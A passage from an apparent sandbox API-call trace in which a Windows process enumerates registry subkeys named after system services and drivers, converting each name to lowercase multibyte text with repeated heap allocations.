lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.527] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.527] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.528] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.528] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.528] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.528] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0206.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.529] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.529] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.529] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0206.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.530] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.530] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.530] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.530] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0206.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.531] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.531] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.531] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0206.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.532] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.532] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.532] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.532] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0206.532] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.533] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, 